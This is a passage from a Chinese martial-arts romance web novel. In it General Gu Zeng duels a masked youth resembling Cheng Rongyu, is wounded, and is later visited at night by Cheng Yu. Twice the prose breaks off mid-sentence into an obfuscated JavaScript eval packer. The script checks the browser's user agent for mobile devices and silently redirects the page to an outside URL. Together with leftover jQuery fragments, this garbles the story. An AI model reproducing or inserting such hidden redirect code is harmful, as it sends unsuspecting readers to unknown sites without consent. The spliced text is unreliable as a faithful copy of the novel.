自漫天的雪亮残光中闪出,她这才长刀出鞘 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她单薄的肩上扛着一把与之不相称的大刀,镶满珠玉的刀鞘早就被她甩飞在一旁,同凌乱的血泥埋在一起。而她白净的脸上满是触目惊心的血痕,裙摆亦如落满了红梅的雪地,远观美甚,近观…… 不可近观,观了要做噩梦。 顾曾将脸上的血渍拭去,揉蓝色的披帛一扬,对着对面残存的几人咧出一道腥气满满的笑容:“我刚松动好筋骨,还能还战几个时辰,如何?继续打?” 杀手们飞速互换了眼色,难得意见一致:跑! 几人转身狂奔,顾曾哪会如此轻易就让他们离开,眼角抽动,足下一个飞踢,地上的长刀随着飞扬的尘土逐影而去,笔直地刺中其中一人后心,那人甚至来不及惨嚎便无声无息地倒在了地上。 她依法炮制,掷出手中长刀,又成功地截下了其中一人,飞身而去,欲提刀再战,浑然不顾唐鸿雪在她身后大喊“将军——留活口——” 她身法轻敏,指尖眼看着就要碰到刀柄,腰间却忽地一热——居然有人在她毫无察觉的情况下,将她拥在了臂弯之中。 随后,她整个人被生生抡至丈外。 顾曾腹间剧痛,内脏仿佛被捣碎成渣。她来不及逞强,已“噗”的一声呕出一口血来。 她却只道侥幸——如果方才袭来的是一把利刃,那她怕是已经被当场腰斩。 来人阴魂不散,只一个错眼,已兔起鹘落地闪至她身前。 顾曾大惊之下,第一反应是逼着来人撤身,怎奈手中没有把趁手的兵器,骇然间便拔出蹀躞带上挂着的那把乾安帝赏的短匕,朝来人不留情面地刺去。 几乎是转瞬,她手腕一麻,虎口剧痛,短匕被一股奇异的大力拨转了方向,继而脱手而出。 她终于惊惧交加地抬眼。 这辈子,她刀尖舔血、死生边缘徘徊无数,不是没遇到过强敌,却从未见过如此强悍之人,尤其……来人竟是个年纪不大的少年人。 他穿着单薄的粗衣,脸上围了层厚厚的面纱,只留一双堪称多情的眼睛在外。 波光流转,却看得她心惊肉跳。 此人眼露笑意,纤长的手指于一把雪光威迫的弯刀上轻轻叩击着,轻声叹了口气:“你呀你,发这么大脾气做什么?看看,都把我的刀弄坏了,打算如何赔?” 59.料峭生(六) 顺着他指尖摩挲之处,顾曾看到了一个细微到几不可察的豁口,大抵是被她刚刚两败俱伤的一招戳出来的。 她抬手拭去嘴角的血沫,知道自己遇到了不讲理的硬茬子,却牵起了嘴角:“我几时说要赔了?北庭的王刀岂是我能赔得起的么?” 那弯刀如月,平滑如镜的刃面上倒影着她狼狈的笑,还镌刻着通体的梵文,其上金蛇游走,无数的奇异符号与图腾一股脑的混在一起,只显得精细又繁复。 那人眼中喷薄欲出的杀气停顿了一瞬,略一垂眸,低低笑了声:“有意思。” 他凑到顾曾的耳旁还要说些什么,一侧的唐鸿雪却终于不甘再干看着,平地而起炸出了一嗓门响彻天际的嘶吼。 “放开我们顾将军!” 他咆哮着,飞身踏入那令他作呕的血泊中,自无名尸首中拔出自己的金刀,开天辟地般就朝着蒙面人劈来。 方才系好的腰带随着猎猎罡风再次崩开,唐鸿雪大步流星没两步,只听“嘶”的一声,他的束膝胡裤从头破到了尾,松松垮垮地耷拉到了长靴之上,露出他光秃秃的两条腿来。 但唐鸿雪并未停止脚步,甚至不再有耻意,狂暴的刀锋中,他有种近乎超脱的专注,转瞬就袭至蒙面人身后。 蒙面人长眉一紧,轻飘飘的“嘁”了一声,带着呼之欲出的不屑与厌烦,却不得不回身应战。 他的身法诡谲难辨,弯刀快出残影,割破青天长空一般锐不可当,唐鸿雪不过几式便被他逼得左支右拙,全然落于下风。 顾曾没时间事不关己在旁看戏,挣扎爬起了身,猝不及防地咳出两口血来。 她凭着一口吊着的仙气捡起遗失的短匕,再一瞥眼,只看到那蒙面人正像戏弄虫豸一样挑逗着唐鸿雪,眼神更是轻蔑得像在看一只沟渠里的臭老鼠。 唐鸿雪浑身已不知多了几条细长的刀口,衣衫凌乱不堪、布条乱飞,却只咬死了牙关,奋不顾身地把刀挥得愈来愈快。 顾曾蓦然心想:“不行。” 她不允许在“找死”这件事儿上有人比她还着急。 那一瞬,她忽然便有了力气,就像先前放话出去的那样——她觉得自己还能再打上几个时辰。 一个错刀的间隙,她大喝了声“退下”,随后欺身而上,加入了战局。 “把刀给我!” 那短匕虽然锋利,在蒙面人的弯刀面前终归气势有限,顾曾只能为唐鸿雪争得一道喘气的功夫,而唐鸿雪亦不愧为御前侍卫,转瞬间便明白了她的用意,后撤一步的同时将金刀向前一送,直直把刀柄递到了她手中。 顾曾决心要将自己发不完的怨愤全都倾泻出来,当空一声铮鸣,将金刀甩出了个虎虎生威的“刀花”,纵声一笑:“重新来比过吧。” 霎时间,铿锵之音大作,她与蒙面人已行云流水地连过十余招。 唐鸿雪顾不上遮掩自己的腿,也没空理那些正往外淌血的伤口,侥幸脱身后,他浑身抖得像在筛麦子,只能眼睁睁地在一旁看着。 只有跟这蒙面人真真切切打过一架,才能体会到此人究竟是个多么可怕的对手,唐鸿雪方才都以为自己活不成了。 他颤抖着擦着脸上的血,眼睛都不敢眨一下地看向正在恶战的两人,暗暗心惊肉跳:“太强了……” 顾将军实在是太强了! 她那具身躯也不知经受了怎样残酷的千锤百打,竟能坚韧成这幅样子。方才明明都直不起身了,现在却和那可怖的家伙打得有来有回,且一招一式都是不要命的打法。 不愧能做他的上司,他唐鸿雪如今心服口服。 顾曾身为局中人,自然明白一个道理——纵然她的心智还能撑下去,身体却是有极限。 对面这个疯狗一样的家伙明显是收着了才让她坚持到了现在,他如此存心戏弄,要么是想让她更快露出破绽,要么便是想看她恼羞成怒的样子。 可惜她在打架时,越是凶险便越是冷静,无论如何都不会让此人得逞,只抱着一副能打多久打多久的心态,每一刀都当作是这辈子的最后一刀来战。 她身形如风,卷起脚下尘烟翻滚,单薄得几乎微不足道,却仍是天地间最桀骜不驯的那一阵凛风。 好在没多时,喧腾的马蹄声逐风而来。 那抹红衣太过张扬,顾曾都不必费余光去瞟,便知道,是荣王来了。 她第一次抱着庆幸的心态见到这家伙。 荣王领着部下赶到,一时半会没搞清状况,只看到满地尸首,一个红衣人正你死我活的和一个蒙面人缠斗在一起,身旁还站了个衣衫不整的破落乞丐。 矜贵惯了的荣王入神策军也不过几个月,莫说上战场了,演阵都没见过几次,此刻他看着那些断肢残臂,震惊之余只觉得反胃,迅速地别开了眼。 眼见他皱了皱眉、下巴微扬,身侧的信兵立刻便跳下马去,气沉丹田吼道:“都住手!荣王殿下在此,尔等还不速速行礼!” 等了一阵,未有回应。 荣王遂板着脸跳下马来,走到那乞丐身侧,干咳了好几声,沉声切齿道:“放肆,你是不认识本王么?本王……” “乞丐”唐鸿雪这才留意了他,又惊又喜之下一把环住他的腰,将脸颊贴在他胸口上蠕动着嚎啕大喊:“殿下——您总算来了。” “……你是,唐鸿雪?!”荣王连推了他两把才把他从身上推下去,掸了掸袍子,皱眉道,“赤身裸体上街,你这厮莫不是疯了?” “下官本来是穿了的……不对,这不重要。”唐鸿雪舌头直打颤,喜悦到几乎便要哽咽,“殿下快救救我家顾将军,头儿派我照顾好她,我、我却……” 荣王脸色一变,探手就揪住了他前襟:“你说救谁?” 不过不消唐鸿雪解释,他已经可以自己看清了。 原来那不是什么红衣,而是一条被鲜血染红的长裙。而那没把他放在眼中的暴徒之一,正是昨天让他伤心到一夜未眠的顾娘子。 他昨夜辗转时一直在想,怎么会那么巧呢?他好不容易对一个小娘子动心,却恰好就是铸光军的将军,这世上必不会有这种荒诞到不讲道理的事情,一定是他父皇和母妃商量好了哄骗他的。 他们不喜欢顾娘子,嫌弃她的出身,不同意他和她好。 可这也不是什么无法商量的大事,大不了让她做侧妃就是,再不济,那就做他的媵婢。 只要能留她在身边,什么办法不是办法? 此刻,他却在冲天的血腥气中看得痴怔了,细语喃喃:“原来她真是……” 荣王的喉咙微动,那一刹终于明白,有那么多人还要靠着这颗大漠明珠照明,他却妄想把她囚之于笼,难怪她想都不想便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857781|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说“不愿意”。 “本王的弓!”他半晌才堪堪回过神来,脱口而出,又本能地扬手接过副手递来的弓箭,顷刻便挽出一道长空满月。 只是那两道身影迅捷如鬼魅,他的箭尖晃了又晃,瞄了又瞄,眼前愈发模糊,却终究射不出那一箭。 他心中骤然有感:是了,他这种人连空中的纸鸢都射不中,怎么可能能帮上顾娘子……不,顾将军的忙呢? 顾曾老早便知道他来了,如今却只在一旁干瞪眼地看戏,顿时急道:“荣王殿下,不是叫人取弓了么,怎么还……” 说话间,弯刀无形的刀锋划过她的左臂,勾连出一道细长入骨的伤口来,顷刻间血流如注。 顾曾眼前一黑,心道:“罢了,但愿下辈子还能回想起这个道理——万事得靠自己,不能指望身后这些不靠谱的混蛋玩意。” 可就在这千钧一发之际,那蒙面人却及时收了势,并未趁机剁了她这条胳膊,反而挥手击飞了她的金刀。 他探手一揽,已将她紧紧拥在了胸前。 顾曾被他彻底压制,动弹不得,作呕之余只得恶狠狠地瞪去一眼。 蒙面人却凑得更近了,顾曾甚至可以清晰感受到他平静无澜、似是一潭死水般的心跳。 那双清澈明亮的桃花眼与她相距不足一尺,随后扬起轻佻一笑:“阿曾。” “……” 顾曾仰头看他,瞳孔在那一刹几乎凝成一线,有如被数道无形的大手扼住了咽喉、攥紧了心窝,一丝气都喘不出,只不由自主地积攒了半眶眼泪在眼中打转。 这双眼睛,这个笑起来的神情……她太熟悉了。 这疯子是……程容与?! 她忽然觉得自己活成了个笑话。 若是夜半人静之时,她许是免不了一番惆怅,感慨自己识人不淑。 可此刻青天白日,这么多人看着,她无论如何都惆怅不起来了。 她绝不会心甘情愿地在人前为他落泪,几乎是立刻便止住了那几乎让她溃不成军的颓势,自牙缝中冷冷笑了一声:“阁下究竟是何人?扮作别人的样子很有趣么?” 那蒙面人隔着厚厚的面纱贴紧了她的耳侧,指尖满是戏弄地扫过她光洁如玉的脖颈,温热潮湿的呼吸避无可避地往她耳中钻。 他笑道:“本来我想杀你的,可现在我又改主意了。” 下一瞬,他旋身而动,毫不怜香惜玉地将她一掌拍到地上,整个人则化身成了一只飞鸟,踏着旁人的尸首扬长而去,在彻底消失前,又昭告天下似的朗声说道:“杀你太无趣,小爷我要娶你——” 顾曾瘫倒在地,几欲昏死,耳畔却响起了此人铺天盖地的大笑,笑声如此熟悉,更令她一番不知所措的肝肠寸断。 唐鸿雪也若有所思地揉着脑袋:“这人怎么那么像我们头儿……” 荣王被彻彻底底地吓坏了。 他从未想到自己竟然如此无能,居然连帮忙的资格都没有,还因为害得顾曾分心而落败。 他甚至没脸看她,只沉默地看着自己发抖的双手,头痛欲裂,一片白茫茫中只能依稀听到副将的声音,问他:“殿下,追吗?” 荣王沉默地点了点头,指尖按住眉心寻回一丝清醒,停顿片刻,终于说道:“留下几人送唐大人和顾……顾将军去太医署,其余人随我去缉凶。” 60.料峭生(七) “别追了,”顾曾定定站起身来,若有所思地望向蒙面人消失的方向,心中思绪翻涌,只说道,“你们拦不住他的。” 方经历一场徘徊生死的大战,她的神色却从容得有些不痛不痒,迟钝又麻木地抬手按住左臂上的伤口,直至摸了一掌心刺目的血迹,黯淡的瞳孔才再次悄悄地颤了两下。 随后,她似一株被风拂过的嫩柳一样踉跄两步,一口夹杂着心头那股郁结之气的血沫随着一阵猛烈的咳嗽喷薄而出。 “顾娘子你、你的伤……”荣王这才想起察看她的伤势,三两步走到她身侧,抬手便要扶住她摇摇欲坠的身躯。 他甚至还在想她会不会就此瘫软在他怀中。 怎料顾曾却在他碰到自己之前一个侧身,不动声色地避开了,伤口上淌出的血顺着她臂弯滑落一地,却半滴都不肯溅到荣王殿下身上。 她脸色苍白至极,倔强地咬着唇,眼神又落寞又不甘。本是姑娘家的一个寻常举动,叫她做来却有种令人不寒而栗的气势。 顾曾找人讨要了一件外袍,裹住自己浑身的血气,不慌不忙地对荣王行了个礼:“下官不碍事……荣王殿下,下官有一事相求。” 她一开口,荣王便在潮热的晚风中平白打了个寒颤,甚至来不及黯然神伤,立即应道:“但说无妨。” 顾曾:“今天的事还请殿下保密,能瞒多少瞒多少,能瞒多久瞒多久。” 荣王一向对乾安帝坦诚,这辈子都没说过什么谎话,登时面露难色。 顾曾面不改色心不跳地开始卖惨:“京城防卫本就归十二卫管辖,如今市坊中出了凶徒,陛下若是知道了定要怪罪,求殿下看在我等没有功劳亦有苦劳的份上,给十二卫一点时间,我定将作奸犯科之人捉拿在案。” 荣王见她原本声若洪钟,说着说着忽然就跟快断气了一样,想必是伤势太重,不由得心下一软,想道:“顾娘子接了这等苦差,连命都差点丢了,若再因为我多嘴被父皇责罚降罪,岂不成了天下第一冤事?” 这下他不再犹豫,硬着头皮答应下来,心中只祈祷乾安帝一会儿见到他可别又问东问西。 唐鸿雪接过荣王的手下递来的战袍,把自己裹成了个五花大绑的角黍,半跑半跳地挪近,看了眼顾曾,忍不住倒吸了一口绵长的凉气:“顾将军,你好歹止个血,你要是有个三长两短,我怎么和我们头儿……” 他猛地想到那蒙面人的言行和神态,硬生生住了口,心里却是怎么也想不通,那人真是他们头儿么? 依他对程二公子的了解,那必然不可能是他;可若不是他,这天下真能有如此相像的两个人么? 荣王也福至心灵地想到了什么,惊呼道:“顾娘子,刚刚那人说要娶你!” “他说他的,关我屁事。”顾曾努努嘴,捂住伤口的劲道忍不住又大了些。 她虽然看上去云淡风轻到连眉心都没皱上一分,实则伤势甚重——尤其是最后挨的那一刀,深可见骨、流血不止。 若不是靠着一团心乱如麻的执念想要先安排好这一切,她早就坚持不住了。 如今得了荣王一诺,顾曾两眼闪过几道模糊的金星,胸口不住起伏,一股作呕之意上涌,耳中一片嗡鸣,霎时竟连气也喘不匀了。 她明白自己已到了强弩之末,再不跑怕是就走不了了,遂双指作哨唤了唐鸿雪的五花骢来,用了最后一点力气快速爬上了马,随后伏在马背上,终于松开了捂着伤口的那只手。 那道狰狞的伤口上覆着她从长裙上撕下的布团,早已被血染透,却还在往外渗着血。 她的脸色灰白得像具死尸,眼神涣散无光,指尖不住发抖,睫毛颤得如同暴雨中濒死的蝴蝶。 “顾娘子别走,”荣王这才意识到她在强撑,急得去拦她的马,“我这就让人去太医署叫人,你别逞能好不好?” 顾曾动了动嘴唇,声音几不可闻:“让开。” 真惊动了太医署的人,乾安帝那边就该知道了。到时候她要怎么说,当场指认程容与么? 万一真是别人存心要害他,她这样岂不是正中了下怀?如果真是他要杀她,那她…… 顾曾一夹马腹,骏马一声嘶鸣,于那一刹通了灵性,猛然一个扭身绕过了荣王,离弦之箭一般腾空而去。 她朦朦胧胧想着,无论如何,就算是他对她动了杀心,她也定要先弄清缘由,再…… 再先杀了他。 她不想死得不明不白,可也得对一切有个合理的交代。 神骏如飞,不多时便已毗近关家的侧门。 顾曾认准了小院的院墙,脚踩马背,右手勾住墙沿,连滚带爬地一个扭身栽进了院中,瓦片被她沉重的身躯挤得“哗啦啦”巨响,簌簌而落了一大片。 小院中响起了半声闷闷的大叫“啊——” 顾曾摔在地上后已经没什么力气再动弹,只能动动嘴皮子,及时拦住了蓄势待发准备嚎出通天彻地一嗓门的关风遥,对她气若游丝一笑:“是我,别害怕。” 关风遥不知为何正在院中走来走去,身侧也不见侍女,陡然见到个浑身是血的家伙翻墙而入,说不慌张是不可能的。 待她听清顾曾的声音后,才大着胆子往前探了两步,甫一真看到她的脸,险些又要惊呼出口,眼泪也紧跟着汩汩而落。 顾曾头重脚轻,干脆破罐破摔地躺好,合上眼断断续续笑道:“你不是会医术么?再不给我治我可就要死在你面前了,到时候我死得不甘不愿,恐怕要夜夜扰得你不得安生……” “表姐你别说了!”关风遥抽噎得梨花带雨,抹得帕子都湿了一半,“我这就去拿东西,你、你等我一下!” 她踉跄着,几乎是一步一跌地跑走了。顾曾听着她慌乱的脚步,半眯着眼仰头看天。 这次大概是死不了了,可她心中一番五味杂陈翻覆,竟一时不知该去想些什么。 末了,她才惆怅地叹了口气,自嘲似的想道:“还好、还好我不是孤身一人……我还有阿姐。” 就算那个盘踞在她心中挥之不去的家伙是个伪善绝情之人,她还有阿姐陪着。 她自觉一点也不难过。 天光渐次透过云影,晚霞缱绻得像是幼时林霜哄她睡觉时的歌声。 顾曾几乎在睡梦中昏厥过去之时,关风遥终于领着她的两个婢女回来了。 紫萝和浣纱做惯了贴身丫鬟,已许久没干过什么重活了,但甫一进门便二话不说地开始打水烧水,手脚十分麻利。 关风遥从自己私配的药箱里取了金创药,为顾曾止血后又费了九牛二虎之力给她擦净了身子,换了身干净衣服。 三人好一顿忙活,细心地将瓦片堆好,将地上的血迹拿土埋了,又把顾曾换下来的衣服偷偷烧掉……拾掇好一切,已是月上中天之时。 紫萝擦着鬓角的汗,忍不住说道:“还好夫人去赴宴了,不然就咱们在这儿这么折腾,保准得被人发现端倪。说起来,林娘子怎么还没回来?” “你又忘啦,夫人嘱咐了,要叫‘林将军’,”浣纱用力地打着扇,已累成虚脱之态,“宫里的人来传过话,说荣王殿下邀林将军去神策军巡视去了,一时半会儿且回不来呢。” 紫萝吃吃笑道:“咱家这两位娘子一个在神策军、一个在十二卫,真是威风得紧呀,下次再看到高娘子她家那几个不懂事的丫头逞威风,我可得好好炫耀炫耀。” “行了你们两个,小点声。”关风遥轻声呵斥二人两句,又看着昏睡在床的顾曾,为她擦了擦额间的盗汗,责备道,“顾表姐伤成这样,还不知是何原因,你二人就知道什么威不威风,也不瞧瞧其中有多凶险。” 紫萝和浣纱道:“娘子苦学医术多年,有娘子在,顾娘子一定可以逢凶化吉,婢子们自然不担心。” 关风遥看向顾曾那道狭长又狰狞的伤口,沉沉叹了口气:“医理一事,我只谈得上粗通,还远远不及表姐在武艺上的造诣,我这辈子想必也……比不过她。” 浣纱歪了歪头,说道:“比什么?医术还是武艺?” 关风遥略一垂眸,轻声道:“什么也比不过。” 紫萝道:“娘子怎可如此妄自菲薄?娘子自那日从端午宴回来后便一直郁郁寡欢,可是夫人又同娘子说了什么?” 关风遥出了神,晌久没说话,看了眼月亮,算算时间关夫人也该从宴会上回来了,便起身招呼二人同她缓步往外走。 两个侍奉小院扫洒的侍女正在门口打着瞌睡,紫萝摇醒了其中一人,嘱咐道:“顾娘子今日累了,在里面歇息呢,你们动作仔细些,可别吵到她。” 顾曾不知自己昏睡了多久,醒过来时只觉得冷,无边无际的冷,可衣襟早已被汗水浸透。 她费力地动了动手指,伤口牵动起一阵撕心裂肺的痛楚,浑身的骨头都仿佛被挫成了粉末,根本不足以支撑她起身。 屋内昏暗不见五指,月光透过纱窗而来,冷冰冰地落在她的床畔。 小院内安静极了,落针可闻。床头的案几上留有药粉和药方,还有一应茶水和点心。 顾曾挣扎着坐起来,胡乱地往嘴里狂塞了不少东西,神智渐渐清晰。 她依照惯例,在大难不死之后边嚼边喝、边拜她家的列祖列宗,神态堪称虔诚:“这次也多谢祖宗们保佑了——” 吃饱喝足后,她嫌屋内太闷不宜养病,蹒跚到了廊庑中打起坐来。 天气太热,不少寺院把说经的时间挪到了晚上。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873063|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处的资圣寺正到了讲经的时候,梵音袅袅而来,灯火照壁如昼。 今夜没有林霜的爽朗大笑,但有竹影荷香、塔铃钟声。 顾曾静静坐着,忽然听到极其细微的一声“锵啷”——有人不甚打翻了一片瓦,又眼疾手快地托住,小心翼翼地将瓦片放回了原处,生怕被人发现。 照理来说,如果不是她在打坐,应当也是留意不到如此轻微的动静的,可现在,专注之下,她仿佛能听到来人那略显沉重的呼吸声。 很轻易地便可判断,此人就在附近,且好巧不巧,翻的就是她所在的小院的墙。 顾曾冷冷一笑,看来这帮家伙是一天也等不了了,定要在今天取她性命。 他们也太小瞧她了,她虽然废了半条胳膊,还正发着高热,但也绝不会是束手就擒之人。 她挪步至廊庑的阴影里,从睡袍里掏出短匕,眼神往地上一瞄,只见屋墙的倒影处已多了一个人;再一掀眼,墙上有个一身漆黑、头覆面纱的家伙正不要命地往她院里跳。 看到此人身形,顾曾心间一动——又是那家伙。 她打不过,却也不得不打。既然如此,那便更没什么可惧的了。 黑衣人双脚刚沾地,正打算潇洒地抖掉溅在衣上的灰尘,面前却是一寒,一柄泛着粼粼幽光的匕首已抵在了他眉心。 匕首之后,有个一袭白衣、披头散发的小娘子对他歪头一笑:“阴魂不散。” 她笑容阴森,活脱脱一个夜半女鬼,也不知是谁阴魂不散。 来人吓得不浅,动了动喉咙,明显想说话,然而顾曾深知抢占先机的重要性,出手即是不留情的杀招,毫不拖泥带水地一刀捅了过去。 黑衣人身形甚是灵巧,左支右拙地一通乱闪,竟然没叫她刺中。 顾曾火气一上来,顿时又有了天不怕地不怕的那股蛮劲,忍着剧痛探出另一只手,走的竟是完全不讲江湖道义的路数——薅头发。 “阿……是……”黑衣人与白天相比判若两人,毫无一点出手的欲望,一味只想着躲,没两招就被杀气腾腾的顾曾一把揪住了头发。 顾曾一见得手,心下狂喜,一刀捅去的同时手中骤然发力,来人被她揪得快要掉下一层头皮来,痛得长嘶了一声。 鬼使神差的,顾曾那刀就没刺下去。 她恍然明白过来,眼前这家伙是不是白天那个疯子还不好说,但,一定是她认识的那个程容与。 她忽地抬了抬唇角,下手反而更重了,反手一格扭住黑衣人的双臂,手肘抵住他腰心。 黑衣人胸口撞在院墙上,咳都没来得及咳一声,已被她制服得动弹不得。 他二人这一番斗法纵使动静再小,最后撞墙的这一下可是摔得不轻,院外守夜的一个小侍女弱弱扬声道:“顾娘子,可出什么事了?” 顾曾正要应声,手肘处却陡然一空,黑衣人居然在这当口挣脱了。她一惊之下,尚不及再次出手,脚踝处却是一紧,整个人向后倒去。 黑衣人揽住她腰肢,将她轻轻放在地上,抬手覆住了她的嘴,并冲她死命地摇头——这混蛋大概是当她是傻子,居然还怕她大呼小叫引人过来。 院外,另一个小侍女说道:“顾娘子肯定是歇息了,你别一惊一乍的,待会再把娘子吵醒了。” 黑衣人这才舒下一口气,手下松开力气 ,笑道:“阿……嘶……” 他一把扯下面纱,“疼疼疼疼疼,是我啊阿曾你别咬了!” 顾曾当然知道是他,但看到那双熟悉的桃花眼,她仍然不由自主一怔,心口与伤口同时痛了起来。 她恨自己的无能,然后反手给了来人一耳光。 程彧苦笑道:“我错了,我轻浮我浪荡我不该半夜翻你家墙,你饶了我好不好?” 顾曾瞪他一眼,跌跌撞撞从地上爬起,坐在廊庑下抄起一把团扇此地无银地狂扇着风。 她有些庆幸院中没点灯,不至于叫程彧看见她这般虚弱的样子。 程彧上来就被她打了一顿,只道她又恼自己轻薄了她,便讪讪地缩在一边角落,揪了揪适才被她扯乱的发髻,却怎么理怎么像鸡窝,索性摘了发冠同她一起披头散发地坐着。 顾曾硬撑着给他拎来半壶没喝完的凉茶,没好气道:“想喝自己倒吧。” 程彧斟了两杯茶,一杯推到顾曾面前,讨好地眨了眨眼:“阿曾,喝茶?” 顾曾接来抿了一口,装作一副气势十足的样子,冷冷道:“二公子翻墙之术轻车熟路,想必没少做梁上君子罢?” “我还用偷别人东西吗?”程彧无奈一笑,旋即意识到她另有所指,顷刻便涨红了脸,“阿阿阿阿曾,我对天发誓,我可从来没翻过别的小娘子的墙。”